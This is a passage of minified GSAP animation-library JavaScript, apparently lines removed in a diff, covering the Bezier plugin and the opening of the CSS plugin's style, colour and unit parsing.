u === "string" ? "," + u + "," : l; - if (a == null) { - a = 1 - } - for (_ in e[0]) { - m.push(_) - } - if (e.length > 1) { - k = e[e.length - 1]; - M = true; - v = m.length; - while (--v > -1) { - _ = m[v]; - if (Math.abs(p[_] - k[_]) > .05) { - M = false; - break - } - } - if (M) { - e = e.concat(); - if (c) { - e.unshift(c) - } - e.push(e[1]); - c = e[e.length - 3] - } - } - t.length = i.length = n.length = 0; - v = m.length; - while (--v > -1) { - _ = m[v]; - r[_] = u.indexOf("," + _ + ",") !== -1; - h[_] = f(e, _, r[_], c) - } - v = t.length; - while (--v > -1) { - t[v] = Math.sqrt(t[v]); - i[v] = Math.sqrt(i[v]) - } - if (!o) { - v = m.length; - while (--v > -1) { - if (r[_]) { - g = h[m[v]]; - w = g.length - 1; - for (y = 0; y < w; y++) { - b = g[y + 1].da / i[y] + g[y].da / t[y] || 0; - n[y] = (n[y] || 0) + b * b - } - } - } - v = n.length; - while (--v > -1) { - n[v] = Math.sqrt(n[v]) - } - } - v = m.length; - y = s ? 4 : 1; - while (--v > -1) { - _ = m[v]; - g = h[_]; - d(g, a, s, o, r[_]); - if (M) { - g.splice(0, y); - g.splice(g.length - y, y) - } - } - return h - }, - h = function (e, t, i) { - t = t || "soft"; - var n = {}, - r = t === "cubic" ? 3 : 2, - a = t === "soft", - s = [], - l, u, d, f, c, h, m, p, v, _, g; - if (a && i) { - e = [i].concat(e) - } - if (e == null || e.length < r + 1) { - throw "invalid Bezier data" - } - for (v in e[0]) { - s.push(v) - } - h = s.length; - while (--h > -1) { - v = s[h]; - n[v] = c = []; - _ = 0; - p = e.length; - for (m = 0; m < p; m++) { - l = i == null ? e[m][v] : typeof (g = e[m][v]) === "string" && g.charAt(1) === "=" ? i[v] + Number(g.charAt(0) + g.substr(2)) : Number(g); - if (a) - if (m > 1) - if (m < p - 1) { - c[_++] = (l + c[_ - 2]) / 2 - } - c[_++] = l - } - p = _ - r + 1; - _ = 0; - for (m = 0; m < p; m += r) { - l = c[m]; - u = c[m + 1]; - d = c[m + 2]; - f = r === 2 ? 0 : c[m + 3]; - c[_++] = g = r === 3 ? new o(l, u, d, f) : new o(l, (2 * u + l) / 3, (2 * u + d) / 3, d) - } - c.length = _ - } - return n - }, - m = function (e, t, i) { - var n = 1 / i, - r = e.length, - a, s, o, l, u, d, f, c, h, m, p; - while (--r > -1) { - m = e[r]; - o = m.a; - l = m.d - o; - u = m.c - o; - d = m.b - o; - a = s = 0; - for (c = 1; c <= i; c++) { - f = n * c; - h = 1 - f; - a = s - (s = (f * f * l + 3 * h * (f * u + h * d)) * f); - p = r * i + c - 1; - t[p] = (t[p] || 0) + a * a - } - } - }, - p = function (e, t) { - t = t >> 0 || 6; - var i = [], - n = [], - r = 0, - a = 0, - s = t - 1, - o = [], - l = [], - u, d, f, c; - for (u in e) { - m(e[u], i, t) - } - f = i.length; - for (d = 0; d < f; d++) { - r += Math.sqrt(i[d]); - c = d % t; - l[c] = r; - if (c === s) { - a += r; - c = d / t >> 0; - o[c] = l; - n[c] = a; - r = 0; - l = [] - } - } - return { - length: a, - lengths: n, - segments: o - } - }, - v = a._gsDefine.plugin({ - propName: "bezier", - priority: -1, - version: "1.3.8", - API: 2, - global: true, - init: function (e, t, i) { - this._target = e; - if (t instanceof Array) { - t = { - values: t - } - } - this._func = {}; - this._mod = {}; - this._props = []; - this._timeRes = t.timeResolution == null ? 6 : parseInt(t.timeResolution, 10); - var n = t.values || [], - r = {}, - a = n[0], - s = t.autoRotate || i.vars.orientToBezier, - o, l, u, d, f; - this._autoRotate = s ? s instanceof Array ? s : [ - ["x", "y", "rotation", s === true ? 0 : Number(s) || 0] - ] : null; - for (o in a) { - this._props.push(o) - } - u = this._props.length; - while (--u > -1) { - o = this._props[u]; - this._overwriteProps.push(o); - l = this._func[o] = typeof e[o] === "function"; - r[o] = !l ? parseFloat(e[o]) : e[o.indexOf("set") || typeof e["get" + o.substr(3)] !== "function" ? o : "get" + o.substr(3)](); - if (!f) - if (r[o] !== n[0][o]) { - f = r - } - } - this._beziers = t.type !== "cubic" && t.type !== "quadratic" && t.type !== "soft" ? c(n, isNaN(t.curviness) ? 1 : t.curviness, false, t.type === "thruBasic", t.correlate, f) : h(n, t.type, r); - this._segCount = this._beziers[o].length; - if (this._timeRes) { - var m = p(this._beziers, this._timeRes); - this._length = m.length; - this._lengths = m.lengths; - this._segments = m.segments; - this._l1 = this._li = this._s1 = this._si = 0; - this._l2 = this._lengths[0]; - this._curSeg = this._segments[0]; - this._s2 = this._curSeg[0]; - this._prec = 1 / this._curSeg.length - } - if (s = this._autoRotate) { - this._initialRotations = []; - if (!(s[0] instanceof Array)) { - this._autoRotate = s = [s] - } - u = s.length; - while (--u > -1) { - for (d = 0; d < 3; d++) { - o = s[u][d]; - this._func[o] = typeof e[o] === "function" ? e[o.indexOf("set") || typeof e["get" + o.substr(3)] !== "function" ? o : "get" + o.substr(3)] : false - } - o = s[u][2]; - this._initialRotations[u] = (this._func[o] ? this._func[o].call(this._target) : this._target[o]) || 0; - this._overwriteProps.push(o) - } - } - this._startRatio = i.vars.runBackwards ? 1 : 0; - return true - }, - set: function (t) { - var i = this._segCount, - n = this._func, - r = this._target, - a = t !== this._startRatio, - s, o, l, u, d, f, c, h, m, p; - if (!this._timeRes) { - s = t < 0 ? 0 : t >= 1 ? i - 1 : i * t >> 0; - f = (t - s * (1 / i)) * i - } else { - m = this._lengths; - p = this._curSeg; - t *= this._length; - l = this._li; - if (t > this._l2 && l < i - 1) { - h = i - 1; - while (l < h && (this._l2 = m[++l]) <= t) {} - this._l1 = m[l - 1]; - this._li = l; - this._curSeg = p = this._segments[l]; - this._s2 = p[this._s1 = this._si = 0] - } else if (t < this._l1 && l > 0) { - while (l > 0 && (this._l1 = m[--l]) >= t) {} - if (l === 0 && t < this._l1) { - this._l1 = 0 - } else { - l++ - } - this._l2 = m[l]; - this._li = l; - this._curSeg = p = this._segments[l]; - this._s1 = p[(this._si = p.length - 1) - 1] || 0; - this._s2 = p[this._si] - } - s = l; - t -= this._l1; - l = this._si; - if (t > this._s2 && l < p.length - 1) { - h = p.length - 1; - while (l < h && (this._s2 = p[++l]) <= t) {} - this._s1 = p[l - 1]; - this._si = l - } else if (t < this._s1 && l > 0) { - while (l > 0 && (this._s1 = p[--l]) >= t) {} - if (l === 0 && t < this._s1) { - this._s1 = 0 - } else { - l++ - } - this._s2 = p[l]; - this._si = l - } - f = (l + (t - this._s1) / (this._s2 - this._s1)) * this._prec || 0 - } - o = 1 - f; - l = this._props.length; - while (--l > -1) { - u = this._props[l]; - d = this._beziers[u][s]; - c = (f * f * d.da + 3 * o * (f * d.ca + o * d.ba)) * f + d.a; - if (this._mod[u]) { - c = this._mod[u](c, r) - } - if (n[u]) { - r[u](c) - } else { - r[u] = c - } - } - if (this._autoRotate) { - var v = this._autoRotate, - _, g, y, b, w, M, k; - l = v.length; - while (--l > -1) { - u = v[l][2]; - M = v[l][3] || 0; - k = v[l][4] === true ? 1 : e; - d = this._beziers[v[l][0]]; - _ = this._beziers[v[l][1]]; - if (d && _) { - d = d[s]; - _ = _[s]; - g = d.a + (d.b - d.a) * f; - b = d.b + (d.c - d.b) * f; - g += (b - g) * f; - b += (d.c + (d.d - d.c) * f - b) * f; - y = _.a + (_.b - _.a) * f; - w = _.b + (_.c - _.b) * f; - y += (w - y) * f; - w += (_.c + (_.d - _.c) * f - w) * f; - c = a ? Math.atan2(w - y, b - g) * k + M : this._initialRotations[l]; - if (this._mod[u]) { - c = this._mod[u](c, r) - } - if (n[u]) { - r[u](c) - } else { - r[u] = c - } - } - } - } - } - }), - _ = v.prototype; - v.bezierThrough = c; - v.cubicToQuadratic = u; - v._autoCSS = true; - v.quadraticToCubic = function (e, t, i) { - return new o(e, (2 * t + e) / 3, (2 * t + i) / 3, i) - }; - v._cssRegister = function () { - var e = s.CSSPlugin; - if (!e) { - return - } - var t = e._internals, - i = t._parseToProxy, - n = t._setPluginRatio, - r = t.CSSPropTween; - t._registerComplexSpecialProp("bezier", { - parser: function (e, t, a, s, o, l) { - if (t instanceof Array) { - t = { - values: t - } - } - l = new v; - var u = t.values, - d = u.length - 1, - f = [], - c = {}, - h, m, p; - if (d < 0) { - return o - } - for (h = 0; h <= d; h++) { - p = i(e, u[h], s, o, l, d !== h); - f[h] = p.end - } - for (m in t) { - c[m] = t[m] - } - c.values = f; - o = new r(e, "bezier", 0, 0, p.pt, 2); - o.data = p; - o.plugin = l; - o.setRatio = n; - if (c.autoRotate === 0) { - c.autoRotate = true - } - if (c.autoRotate && !(c.autoRotate instanceof Array)) { - h = c.autoRotate === true ? 0 : Number(c.autoRotate); - c.autoRotate = p.end.left != null ? [ - ["left", "top", "rotation", h, false] - ] : p.end.x != null ? [ - ["x", "y", "rotation", h, false] - ] : false - } - if (c.autoRotate) { - if (!s._transform) { - s._enableTransforms(false) - } - p.autoRotate = s._target._gsTransform; - p.proxy.rotation = p.autoRotate.rotation || 0; - s._overwriteProps.push("rotation") - } - l._onInitTween(p.proxy, c, s._tween); - return o - } - }) - }; - _._mod = function (e) { - var t = this._overwriteProps, - i = t.length, - n; - while (--i > -1) { - n = e[t[i]]; - if (n && typeof n === "function") { - this._mod[t[i]] = n - } - } - }; - _._kill = function (e) { - var t = this._props, - i, n; - for (i in this._beziers) { - if (i in e) { - delete this._beziers[i]; - delete this._func[i]; - n = t.length; - while (--n > -1) { - if (t[n] === i) { - t.splice(n, 1) - } - } - } - } - t = this._autoRotate; - if (t) { - n = t.length; - while (--n > -1) { - if (e[t[n][2]]) { - t.splice(n, 1) - } - } - } - return this._super._kill.call(this, e) - } - })(); - a._gsDefine("plugins.CSSPlugin", ["plugins.TweenPlugin", "TweenLite"], function (e, t) { - var i = function () { - e.call(this, "css"); - this._overwriteProps.length = 0; - this.setRatio = i.prototype.setRatio - }, - n = a._gsDefine.globals, - r, s, o, l, u = {}, - d = i.prototype = new e("css"); - d.constructor = i; - i.version = "1.20.4"; - i.API = 2; - i.defaultTransformPerspective = 0; - i.defaultSkewType = "compensated"; - i.defaultSmoothOrigin = true; - d = "px"; - i.suffixMap = { - top: d, - right: d, - bottom: d, - left: d, - width: d, - height: d, - fontSize: d, - padding: d, - margin: d, - perspective: d, - lineHeight: "" - }; - var f = /(?:\-|\.|\b)(\d|\.|e\-)+/g, - c = /(?:\d|\-\d|\.\d|\-\.\d|\+=\d|\-=\d|\+=.\d|\-=\.\d)+/g, - h = /(?:\+=|\-=|\-|\b)[\d\-\.]+[a-zA-Z0-9]*(?:%|\b)/gi, - m = /(?![+-]?\d*\.?\d+|[+-]|e[+-]\d+)[^0-9]/g, - p = /(?:\d|\-|\+|=|#|\.)*/g, - v = /opacity *= *([^)]*)/i, - _ = /opacity:([^;]*)/i, - g = /alpha\(opacity *=.+?\)/i, - y = /^(rgb|hsl)/, - b = /([A-Z])/g, - w = /-([a-z])/gi, - M = /(^(?:url\(\"|url\())|(?:(\"\))$|\)$)/gi, - k = function (e, t) { - return t.toUpperCase() - }, - L = /(?:Left|Right|Width)/i, - T = /(M11|M12|M21|M22)=[\d\-\.e]+/gi, - x = /progid\:DXImageTransform\.Microsoft\.Matrix\(.+?\)/i, - S = /,(?=[^\)]*(?:\(|$))/gi, - Y = /[\s,\(]/i, - D = Math.PI / 180, - E = 180 / Math.PI, - C = {}, - P = { - style: {} - }, - A = a.document || { - createElement: function () { - return P - } - }, - O = function (e, t) { - return A.createElementNS ? A.createElementNS(t || "http://www.w3.org/1999/xhtml", e) : A.createElement(e) - }, - j = O("div"), - H = O("img"), - I = i._internals = { - _specialProps: u - }, - F = (a.navigator || {}).userAgent || "", - z, R, N, W, B, q, $ = function () { - var e = F.indexOf("Android"), - t = O("a"); - N = F.indexOf("Safari") !== -1 && F.indexOf("Chrome") === -1 && (e === -1 || parseFloat(F.substr(e + 8, 2)) > 3); - B = N && parseFloat(F.substr(F.indexOf("Version/") + 8, 2)) < 6; - W = F.indexOf("Firefox") !== -1; - if (/MSIE ([0-9]{1,}[\.0-9]{0,})/.exec(F) || /Trident\/.*rv:([0-9]{1,}[\.0-9]{0,})/.exec(F)) { - q = parseFloat(RegExp.$1) - } - if (!t) { - return false - } - t.style.cssText = "top:1px;opacity:.55;"; - return /^0.55/.test(t.style.opacity) - }(), - V = function (e) { - return v.test(typeof e === "string" ? e : (e.currentStyle ? e.currentStyle.filter : e.style.filter) || "") ? parseFloat(RegExp.$1) / 100 : 1 - }, - G = function (e) { - if (a.console) { - console.log(e) - } - }, - U, X, J = "", - K = "", - Q = function (e, t) { - t = t || j; - var i = t.style, - n, r; - if (i[e] !== undefined) { - return e - } - e = e.charAt(0).toUpperCase() + e.substr(1); - n = ["O", "Moz", "ms", "Ms", "Webkit"]; - r = 5; - while (--r > -1 && i[n[r] + e] === undefined) {} - if (r >= 0) { - K = r === 3 ? "ms" : n[r]; - J = "-" + K.toLowerCase() + "-"; - return K + e - } - return null - }, - Z = A.defaultView ? A.defaultView.getComputedStyle : function () {}, - ee = i.getStyle = function (e, t, i, n, r) { - var a; - if (!$) - if (t === "opacity") { - return V(e) - } - if (!n && e.style[t]) { - a = e.style[t] - } else if (i = i || Z(e)) { - a = i[t] || i.getPropertyValue(t) || i.getPropertyValue(t.replace(b, "-$1").toLowerCase()) - } else if (e.currentStyle) { - a = e.currentStyle[t] - } - return r != null && (!a || a === "none" || a === "auto" || a === "auto auto") ? r : a - }, - te = I.convertToPixels = function (e, n, r, a, s) { - if (a === "px" || !a && n !== "lineHeight") { - return r - } - if (a === "auto" || !r) { - return 0 - } - var o = L.test(n), - l = e, - u = j.style, - d = r < 0, - f = r === 1, - c, h, m; - if (d) { - r = -r - } - if (f) { - r *= 100 - } - if (n === "lineHeight" && !a) { - h = Z(e).lineHeight; - e.style.lineHeight = r; - c = parseFloat(Z(e).lineHeight); - e.style.lineHeight = h - } else if (a === "%" && n.indexOf("border") !== -1) { - c = r / 100 * (o ? e.clientWidth : e.clientHeight) - } else { - u.cssText = "border:0 solid red;position:" + ee(e, "position") + ";line-height:0;"; - if (a === "%" || !l.appendChild || a.charAt(0) === "v" || a === "rem") { - l = e.parentNode || A.body; - if (ee(l, "display").indexOf("flex") !== -1) { - u.position = "absolute" - } - h = l._gsCache; - m = t.ticker.frame; - if (h && o && h.time === m) { - return h.width * r / 100 - } - u[o ? "width" : "height"] = r + a - } else { - u[o ? "borderLeftWidth" : "borderTopWidth"] = r + a - } - l.appendChild(j); - c = parseFloat(j[o ? "offsetWidth" : "offsetHeight"]); - l.removeChild(j); - if (o && a === "%" && i.cacheWidths !== false) { - h = l._gsCache = l._gsCache || {}; - h.time = m; - h.width = c / r * 100 - } - if (c === 0 && !s) { - c = te(e, n, r, a, true) - } - } - if (f) { - c /= 100 - } - return d ? -c : c - }, - ie = I.calculateOffset = function (e, t, i) { - if (ee(e, "position", i) !== "absolute") { - return 0 - } - var n = t === "left" ? "Left" : "Top", - r = ee(e, "margin" + n, i); - return e["offset" + n] - (te(e, t, parseFloat(r), r.replace(p, "")) || 0) - }, - ne = function (e, t) { - var i = {}, - n, r, a; - if (t = t || Z(e, null)) { - if (n = t.length) { - while (--n > -1) { - a = t[n]; - if (a.indexOf("-transform") === -1 || Ce === a) { - i[a.replace(w, k)] = t.getPropertyValue(a) - } - } - } else { - for (n in t) { - if (n.indexOf("Transform") === -1 || Ee === n) { - i[n] = t[n] - } - } - } - } else if (t = e.currentStyle || e.style) { - for (n in t) { - if (typeof n === "string" && i[n] === undefined) { - i[n.replace(w, k)] = t[n] - } - } - } - if (!$) { - i.opacity = V(e) - } - r = Ve(e, t, false); - i.rotation = r.rotation; - i.skewX = r.skewX; - i.scaleX = r.scaleX; - i.scaleY = r.scaleY; - i.x = r.x; - i.y = r.y; - if (Ae) { - i.z = r.z; - i.rotationX = r.rotationX; - i.rotationY = r.rotationY; - i.scaleZ = r.scaleZ - } - if (i.filters) { - delete i.filters - } - return i - }, - re = function (e, t, i, n, r) { - var a = {}, - s = e.style, - o, l, u; - for (l in i) { - if (l !== "cssText") - if (l !== "length") - if (isNaN(l)) - if (t[l] !== (o = i[l]) || r && r[l]) - if (l.indexOf("Origin") === -1) - if (typeof o === "number" || typeof o === "string") { - a[l] = o === "auto" && (l === "left" || l === "top") ? ie(e, l) : (o === "" || o === "auto" || o === "none") && typeof t[l] === "string" && t[l].replace(m, "") !== "" ? 0 : o; - if (s[l] !== undefined) { - u = new be(s, l, s[l], u) - } - } - } - if (n) { - for (l in n) { - if (l !== "className") { - a[l] = n[l] - } - } - } - return { - difs: a, - firstMPT: u - } - }, - ae = { - width: ["Left", "Right"], - height: ["Top", "Bottom"] - }, - se = ["marginLeft", "marginRight", "marginTop", "marginBottom"], - oe = function (e, t, i) { - if ((e.nodeName + "").toLowerCase() === "svg") { - return (i || Z(e))[t] || 0 - } else if (e.getCTM && Be(e)) { - return e.getBBox()[t] || 0 - } - var n = parseFloat(t === "width" ? e.offsetWidth : e.offsetHeight), - r = ae[t], - a = r.length; - i = i || Z(e, null); - while (--a > -1) { - n -= parseFloat(ee(e, "padding" + r[a], i, true)) || 0; - n -= parseFloat(ee(e, "border" + r[a] + "Width", i, true)) || 0 - } - return n - }, - le = function (e, t) { - if (e === "contain" || e === "auto" || e === "auto auto") { - return e + " " - } - if (e == null || e === "") { - e = "0 0" - } - var i = e.split(" "), - n = e.indexOf("left") !== -1 ? "0%" : e.indexOf("right") !== -1 ? "100%" : i[0], - r = e.indexOf("top") !== -1 ? "0%" : e.indexOf("bottom") !== -1 ? "100%" : i[1], - a; - if (i.length > 3 && !t) { - i = e.split(", ").join(",").split(","); - e = []; - for (a = 0; a < i.length; a++) { - e.push(le(i[a])) - } - return e.join(",") - } - if (r == null) { - r = n === "center" ? "50%" : "0" - } else if (r === "center") { - r = "50%" - } - if (n === "center" || isNaN(parseFloat(n)) && (n + "").indexOf("=") === -1) { - n = "50%" - } - e = n + " " + r + (i.length > 2 ? " " + i[2] : ""); - if (t) { - t.oxp = n.indexOf("%") !== -1; - t.oyp = r.indexOf("%") !== -1; - t.oxr = n.charAt(1) === "="; - t.oyr = r.charAt(1) === "="; - t.ox = parseFloat(n.replace(m, "")); - t.oy = parseFloat(r.replace(m, "")); - t.v = e - } - return t || e - }, - ue = function (e, t) { - if (typeof e === "function") { - e = e(X, U) - } - return typeof e === "string" && e.charAt(1) === "=" ? parseInt(e.charAt(0) + "1", 10) * parseFloat(e.substr(2)) : parseFloat(e) - parseFloat(t) || 0 - }, - de = function (e, t) { - if (typeof e === "function") { - e = e(X, U) - } - return e == null ? t : typeof e === "string" && e.charAt(1) === "=" ? parseInt(e.charAt(0) + "1", 10) * parseFloat(e.substr(2)) + t : parseFloat(e) || 0 - }, - fe = function (e, t, i, n) { - var r = 1e-6, - a, s, o, l, u; - if (typeof e === "function") { - e = e(X, U) - } - if (e == null) { - l = t - } else if (typeof e === "number") { - l = e - } else { - a = 360; - s = e.split("_"); - u = e.charAt(1) === "="; - o = (u ? parseInt(e.charAt(0) + "1", 10) * parseFloat(s[0].substr(2)) : parseFloat(s[0])) * (e.indexOf("rad") === -1 ? 1 : E) - (u ? 0 : t); - if (s.length) { - if (n) { - n[i] = t + o - } - if (e.indexOf("short") !== -1) { - o = o % a; - if (o !== o % (a / 2)) { - o = o < 0 ? o + a : o - a - } - } - if (e.indexOf("_cw") !== -1 && o < 0) { - o = (o + a * 9999999999) % a - (o / a | 0) * a - } else if (e.indexOf("ccw") !== -1 && o > 0) { - o = (o - a * 9999999999) % a - (o / a | 0) * a - } - } - l = t + o - } - if (l < r && l > -r) { - l = 0 - } - return l - }, - ce = { - aqua: [0, 255, 255], - lime: [0, 255, 0], - silver: [192, 192, 192], - black: [0, 0, 0], - maroon: [128, 0, 0], - teal: [0, 128, 128], - blue: [0, 0, 255], - navy: [0, 0, 128], - white: [255, 255, 255], - fuchsia: [255, 0, 255], - olive: [128, 128, 0], - yellow: [255, 255, 0], - orange: [255, 165, 0], - gray: [128, 128, 128], - purple: [128, 0, 128], - green: [0, 128, 0], - red: [255, 0, 0], - pink: [255, 192, 203], - cyan: [0, 255, 255], - transparent: [255, 255, 255, 0] - }, - he = function (e, t, i) { - e = e < 0 ? e + 1 : e > 1 ? e - 1 : e; - return (e * 6 < 1 ? t + (i - t) * e * 6 : e < .5 ? i : e * 3 < 2 ? t + (i - t) * (2 / 3 - e) * 6 : t) * 255 + .5 | 0 - }, - me = i.parseColor = function (e, t) { - var i, n, r, a, s, o, l, u, d, h, m; - if (!e) { - i = ce.black - } else if (typeof e === "number") { - i = [e >> 16, e >> 8 & 255, e & 255] - } else { - if (e.charAt(e.length - 1) === ",") { - e = e.substr(0, e.length - 1) - } - if (ce[e]) { - i = ce[e] - } else if (e.charAt(0) === "#") { - if (e.length === 4) { - n = e.charAt(1); - r = e.charAt(2); - a = e.charAt(3); - e = "#" + n + n + r + r + a + a - } - e = parseInt(e.substr(1), 16); - i = [e >> 16, e >> 8 & 255, e & 255] - } else if (e.substr(0, 3) === "hsl") { - i = m = e.match(f); - if (!t) { - s = Number(i[0]) % 360 / 360; - o = Number(i[1]) / 100; - l = Number(i[2]) / 100; - r = l <= .5 ? l * (o + 1) : l + o - l * o; - n = l * 2 - r; - if (i.length > 3) { - i[3] = Number(i[3]) - } - i[0] = he(s + 1 / 3, n, r); - i[1] = he(s, n, r); - i[2] = he(s - 1 / 3, n, r) - } else if (e.indexOf("=") !== -1) { - return e.match(c) - } - } else { - i = e.match(f) || ce.transparent - } - i[0] = Number(i[0]); - i[1] = Number(i[1]); - i[2] = Number(i[2]); - if (i.length > 3) { - i[3] = Number(i[3]) - } - } - if (t && !m) { - n = i[0] / 255; - r = i[1] / 255; - a = i[2] / 255; - u = Math.max(n, r, a); - d = Math.min(n, r, a); - l = (u + d) / 2; - if (u === d) { - s = o = 0 - } else { - h = u - d; - o = l > .5 ? h / (2 - u - d) : h / (u + d); - s = u === n ? (r - a) / h + (r < a ? 6 : 0) : u === r ? (a - n) / h + 2 : (n - r) / h + 4; - s *= 60 - } - i[0] = s + .5 | 0; - i[1] = o * 100 + .5 | 0; - i[2] = l * 100 + .5 | 0 - } - return i - }, - pe = function (e, t) { - var i = e.match(ve) || [], - n = 0, - r = "", - a, s, o; - if (!i.length) { - return e - } - for (a = 0; a < i.length; a++) { - s = i[a]; - o = e.substr(n, e.indexOf(s, n) - n); - n += o.length + s.length; - s = me(s, t); - if (s.length === 3) { - s.push(1) - } - r += o + (t ? "hsla(" + s[0] + "," + s[1] + "%," + s[2] + "%," + s[3] : "rgba(" + s.join(",")) + ")" - } - return r + e.substr(n) - }, - ve = "(?:\\b(?:(?:rgb|rgba|hsl|hsla)\\(.+?\\))|\\B#(?:[0-9a-f]{3}){1,2}\\b"; - for (d in ce) { - ve += "|" + d + "\\b" - } - ve = new RegExp(ve + ")", "gi"); - i.colorStringFilter = function (e) { - var t = e[0] + " " + e[1], - i; - if (ve.test(t)) { - i = t.indexOf("hsl(") !== -1 || t.indexOf("hsla(") !== -1; - e[0] = pe(e[0], i); - e[1] = pe(e[1], i) - } - ve.lastIndex = 0 - }; - if (!t.defaultStringFilter) { - t.defaultStringFilter = i.colorStringFilter - } - var _e = function (e, t, i, n) { - if (e == null) { - return function (e) { - return e - } - } - var r = t ? (e.match(ve) || [""])[0] : "", - a = e.split(r).join("").match(h) || [], - s = e.substr(0, e.indexOf(a[0])), - o = e.charAt(e.length - 1) === ")" ? ")" : "", - l = e.indexOf(" ") !== -1 ? " " : ",", - u = a.length, - d = u > 0 ? a[0].replace(f, "") : "", - c; - if (!u) { - return function (e) { - return e - } - } - if (t) { - c = function (e) { - var t, f, m, p; - if (typeof e === "number") { - e += d - } else if (n && S.test(e)) { - p = e.replace(S, "|").split("|"); - for (m = 0; m < p.length; m++) { - p[m] = c(p[m]) - } - return p.join(",") - } - t = (e.match(ve) || [r])[0]; - f = e.split(t).join("").match(h) || []; - m = f.length; - if (u > m--) { - while (++m < u) { - f[m] = i ? f[(m - 1) / 2 | 0] : a[m] - } - } - return s + f.join(l) + l + t + o + (e.indexOf("inset") !== -1 ? " inset" : "") - }; - return c - } - c = function (e) { - var t, r, f; - if (typeof e === "number") { - e += d - } else if (n && S.test(e)) { - r = e.replace(S, "|").split("|"); - for (f = 0; f < r.length; f++) { - r[f] = c(r[f]) - } - return r.join(",") - } - t = e.match(h) || []; - f = t.length; - if (u > f--) { - while (++f < u) { - t[f] = i ? t[(f - 1) / 2 | 0] : a[f] - } - } - return s + t.join(l) + o - }; - return c - }, - ge = function (e) { - e = e.split(","); - return function (t, i, n, r, a, s, o) { - var l = (i + "").split(" "), - u; - o = {}; - for (u = 0; u < 4; u++) { - o[e[u]] = l[u] = l[u] || l[(u - 1) / 2 >> 0] - } - return r.parse(t, o, a, s) - } - }, - ye = I._setPluginRatio = function (e) { - this.plugin.setRatio(e); - var t = this.data, - i = t.proxy, - n = t.firstMPT, - r = 1e-6, - a, s, o, l, u; - while (n) { - a = i[n.v]; - if (n.r) { - a = Math.round(a) - } else if (a < r && a > -r) { - a = 0 - } - n.t[n.p] = a; - n = n._next - } - if (t.autoRotate) { - t.autoRotate.rotation = t.mod ? t.mod(i.rotation, this.t) : i.rotation - } - if (e === 1 || e === 0) { - n = t.firstMPT; - u = e === 1 ? "e" : "b"; - while (n) { - s = n.t; - if (!s.type) { - s[u] = s.s + s.xs0 - } else if (s.type === 1) { - l = s.xs0 + s.s + s.xs1; - for (o = 1; o < s.l; o++) { - l += s["xn" + o] + s["xs" + (o + 1)] - } - s[u] = l - } - n = n._next - } - } - }, - be = function (e, t, i, n, r) { - this.t = e; - this.p = t; - this.v = i; - this.r = r; - if (n) { - n._prev = this; - this._next = n - } - }, - we = I._parseToProxy = function (e, t, i, n, r, a) { - var s = n, - o = {}, - l = {}, - u = i._transform, - d = C, - f, c, h, m, p; - i._transform = null; - C = t; - n = p = i.parse(e, t, n, r); - C = d; - if (a) { - i._transform = u; - if (s) { - s._prev = null; - if (s._prev) { - s._prev._next = null - } - } - } - while (n && n !== s) { - if (n.type <= 1) { - c = n.p; - l[c] = n.s + n.c; - o[c] = n.s; - if (!a) { - m = new be(n, "s", c, m, n.r); - n.c = 0 - } - if (n.type === 1) { - f = n.l; - while (--f > 0) { - h = "xn" + f; - c = n.p + "_" + h; - l[c] = n.data[h]; - o[c] = n[h]; - if (!a) { - m = new be(n, h, c, m, n.rxp[h]) - } - } - } - } - n = n._next - } - return { - proxy: o, - end: l, - firstMPT: m, - pt: p - } - }, - Me = I.CSSPropTween = function (e, t, i, n, a, s, o, u, d, f, c) { - this.t = e; - this.p = t; - this.s = i; - this.c = n; - this.n = o || t; - if (!(e instanceof Me)) { - l.push(this.n) - } - this.r = u; - this.type = s || 0; - if (d) { - this.pr = d; - r = true - } - this.b = f === undefined ? i : f; - this.e = c === undefined ? i + n : c; - if (a) { - this._next = a; - a._prev = this - } - }, - ke = function (e, t, i, n, r, a) { - var s = new Me(e, t, i, n - i, r, -1, a); - s.b = i; - s.e = s.xs0 = n; - return s - }, - Le = i.parseComplex = function (e, t, n, r, a, s, o, l, u, d) { - n = n || s || ""; - if (typeof r === "function") { - r = r(X, U) - } - o = new Me(e, t, 0, 0, o, d ? 2 : 1, null, false, l, n, r); - r += ""; - if (a && ve.test(r + n)) { - r = [n, r]; - i.colorStringFilter(r); - n = r[0]; - r = r[1] - } - var h = n.split(", ").join(",").split(" "), - m = r.split(", ").join(",").split(" "), - p = h.length, - v = z !== false, - _, g, y, b, w, M, k, L, T, x, Y, D, E; - if (r.indexOf(",") !== -1 || n.indexOf(",") !== -1) { - if ((r + n).indexOf("rgb") !== -1 || (r + n).indexOf("hsl") !== -1) { - h = h.join(" ").replace(S, ", ").split(" "); - m = m.join(" ").replace(S, ", ").split(" ") - } else { - h = h.join(" ").split(",").join(", ").split(" "); - m = m.join(" ").split(",").join(", ").split(" ") - } - p = h.length - } - if (p !== m.length) { - h = (s || "").split(" "); - p = h.length - } - o.plugin = u; - o.setRatio = d; - ve.lastIndex = 0; - for (_ = 0; _ < p; _++) { - b = h[_]; - w = m[_]; - L = parseFloat(b); - if (L || L === 0) { - o.appendXtra("", L, ue(w, L), w.replace(c, ""), v && w.indexOf("px") !== -1, true) - } else if (a && ve.test(b)) { - D = w.indexOf(")") + 1; - D = ")" + (D ? w.substr(D) : ""); - E = w.indexOf("hsl") !== -1 && $; - x = w; - b = me(b, E); - w = me(w, E); - T = b.length + w.length > 6; - if (T && !$ && w[3] === 0) { - o["xs" + o.l] += o.l ? " transparent" : "transparent"; - o.e = o.e.split(m[_]).join("transparent") - } else { - if (!$) { - T = false - } - if (E) { - o.appendXtra(x.substr(0, x.indexOf("hsl")) + (T ? "hsla(" : "hsl("), b[0], ue(w[0], b[0]), ",", false, true).appendXtra("", b[1], ue(w[1], b[1]), "%,", false).appendXtra("", b[2], ue(w[2], b[2]), T ? "%," : "%" + D, false) - } else { - o.appendXtra(x.substr(0, x.indexOf("rgb")) + (T ? "rgba(" : "rgb("), b[0], w[0] - b[0], ",", true, true).appendXtra("", b[1], w[1] - b[1], ",", true).appendXtra("", b[2], w[2] - b[2], T ? "," : D, true) - } - if (T) { - b = b.length < 4 ? 1 : b[3]; - o.appendXtra("", b, (w.length < 4 ? 1 : w[3]) - b, D, false) - } - } - ve.lastIndex = 0 - } else { - M = b.match(f); - if (!M) { - o["xs" + o.l] += o.l || o["xs" + o.l] ? " " + w : w - } else { - k = w.match(c); - if (!k || k.length !== M.length) { - return o - } - y = 0; - for (g = 0; g < M.length; g++) { - Y = M[g]; - x = b.indexOf(Y, y); - o.appendXtra(b.substr(y, x - y), Number(Y), ue(k[g], Y), "", v && b.substr(x + Y.length, 